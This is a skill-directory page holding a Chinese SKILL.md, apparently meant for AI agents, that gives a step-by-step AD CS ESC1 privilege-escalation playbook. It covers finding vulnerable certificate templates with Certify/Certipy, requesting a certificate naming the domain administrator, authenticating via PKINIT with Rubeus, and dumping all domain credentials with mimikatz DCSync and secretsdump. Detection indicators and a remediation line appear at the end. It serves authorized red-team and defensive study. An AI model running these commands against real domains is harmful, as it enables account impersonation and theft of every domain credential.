인터페이스는 현지화되어 있으며, Skill 소개와 설명 문서는 선택한 언어로 AI가 자동 번역합니다. 코드·명령어·경로·전문 용어는 원문을 유지하며 원작자 문서가 우선합니다.
Skills 둘러보기
생산성 및 협업 · SKILL.md

exploiting-active-directory-certificate-services-esc1

exploiting-active-directory-certificate-services-esc1

在授权红队评估中,利用活动目录证书服务(AD CS)的 ESC1 错误配置漏洞,以高权限用户身份申请证书并提升域权限。

Independent GitHub snapshot · Automated classification · Original documentation governs

Skill 문서

GitHub

name: exploiting-active-directory-certificate-services-esc1 description: 在授权红队评估中,利用活动目录证书服务(AD CS)的 ESC1 错误配置漏洞,以高权限用户身份申请证书并提升域权限。 domain: cybersecurity subdomain: red-teaming tags: [red-team, active-directory, ad-cs, esc1, certificate-abuse, privilege-escalation, domain-escalation] version: "1.0" author: mahipal license: Apache-2.0

利用活动目录证书服务 ESC1 漏洞

概述

ESC1(升级场景 1)是活动目录证书服务(AD CS)中的一个严重错误配置,允许低权限用户代表任何其他用户(包括域管理员)申请证书。当证书模板启用了 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志(也称为"在请求中提供"),并结合允许客户端认证的扩展密钥用法(EKU,如客户端认证、PKINIT 客户端认证、智能卡登录或任意目的)时,该漏洞就会存在。这允许攻击者在证书请求中指定任意主题备用名称(SAN),从而有效模拟任何域用户。ESC1 由 SpecterOps 研究人员 Will Schroeder 和 Lee Christensen 在其《Certified Pre-Owned》白皮书(2021)中记录,仍然是最常见的 AD CS 攻击路径之一。MITRE ATT&CK 框架将其追踪为 T1649(窃取或伪造认证证书)。

目标

  • 使用 Certify 或 Certipy 枚举 AD CS 基础设施和证书模板
  • 识别启用了"在请求中提供"的易受攻击 ESC1 模板
  • 申请证书,在 SAN 字段中指定域管理员
  • 通过 PKINIT 使用伪造证书进行认证以获取 TGT
  • 使用获得的 Kerberos 票据将权限提升至域管理员
  • 记录完整攻击链用于演练报告

MITRE ATT&CK 映射

  • T1649 - 窃取或伪造认证证书
  • T1558.001 - 窃取或伪造 Kerberos 票据:黄金票据
  • T1078.002 - 有效账户:域账户
  • T1484 - 域策略修改
  • T1087.002 - 账户发现:域账户

实施步骤

阶段一:AD CS 枚举

  1. 枚举域中的证书颁发机构(CA)服务器:
    # 使用 Certify(Windows)
    Certify.exe cas
    
    # 使用 Certipy(Linux/Python)
    certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1
    
  2. 枚举所有证书模板并识别易受攻击的模板:
    # 使用 Certify - 查找易受攻击的模板
    Certify.exe find /vulnerable
    
    # 使用 Certipy - 输出 JSON 和文本报告
    certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable
    
  3. 验证已识别模板上的 ESC1 条件:
    • msPKI-Certificate-Name-Flag 包含 ENROLLEE_SUPPLIES_SUBJECT
    • pkiExtendedKeyUsage 包含客户端认证或智能卡登录
    • msPKI-Enrollment-Flag 不需要经理审批
    • 低权限组(Domain Users、Authenticated Users)具有注册权限

阶段二:使用任意 SAN 申请证书

  1. 使用易受攻击的模板申请证书,在 SAN 中指定域管理员:
    # 使用 Certify(Windows)
    Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator
    
    # 使用 Certipy(Linux)
    certipy req -u user@domain.local -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn administrator@domain.local
    
  2. CA 颁发包含域管理员 UPN 的 SAN 字段的证书
  3. 以 PFX/PEM 格式保存输出的证书

阶段三:使用伪造证书进行认证

  1. 如有需要转换证书(Certify 输出 PEM,转换为 PFX):
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    
  2. 使用 PKINIT 认证以获取被模拟用户的 TGT:
    # 使用 Rubeus(Windows)
    Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt
    
    # 使用 Certipy(Linux)
    certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
    
  3. TGT 现已加载到内存中(Windows)或 NT 哈希已恢复(Linux)

阶段四:域权限提升

  1. 使用域管理员 TGT 执行特权操作:
    # DCSync 以转储所有域凭据
    mimikatz.exe "lsadump::dcsync /domain:domain.local /all"
    
    # 或使用获得的 NT 哈希和 secretsdump.py
    secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhash
    
  2. 验证域管理员访问权限:
    # 列出域控制器
    dir \\DC01.domain.local\C$
    
    # 访问域管理员共享
    dir \\DC01.domain.local\SYSVOL
    

工具与资源

工具用途平台
CertifyAD CS 枚举和证书申请Windows(.NET)
CertipyAD CS 枚举、申请和认证Linux(Python)
Rubeus使用证书的 Kerberos 认证(PKINIT)Windows(.NET)
Mimikatz提权后凭据转储Windows
secretsdump.py远程凭据转储(Impacket)Linux(Python)
PSPKIAuditPowerShell AD CS 审计模块Windows
ForgeCert证书伪造工具Windows(.NET)

易受攻击模板指标

条件易受攻击的值
msPKI-Certificate-Name-FlagENROLLEE_SUPPLIES_SUBJECT (1)
pkiExtendedKeyUsage客户端认证 (1.3.6.1.5.5.7.3.2)
注册权限Domain Users 或 Authenticated Users
msPKI-Enrollment-Flag不需要经理审批
CA 设置不强制审批工作流

检测特征

指标检测方法
证书请求中的 SAN 与申请者不同CA 服务器上的 Windows 事件 4886/4887
异常的 PKINIT 认证带证书预认证的事件 4768
Certify.exe 或 Certipy 执行EDR 进程监控和命令行日志
批量证书模板枚举对 pkiCertificateTemplate 对象的 LDAP 查询监控
颁发给不匹配 UPN 的证书CA 审计日志和证书透明度

验证标准

  • 已枚举 AD CS 证书颁发机构
  • 已使用 Certify 或 Certipy 识别易受攻击的 ESC1 模板
  • 已成功申请包含域管理员 SAN 的证书
  • 已使用伪造证书执行 PKINIT 认证
  • 已获取域管理员 TGT
  • 已验证对域控制器的特权访问
  • 已记录完整攻击链及证据
  • 已提供修复建议(禁用"在请求中提供",要求经理审批)
저장한 Skills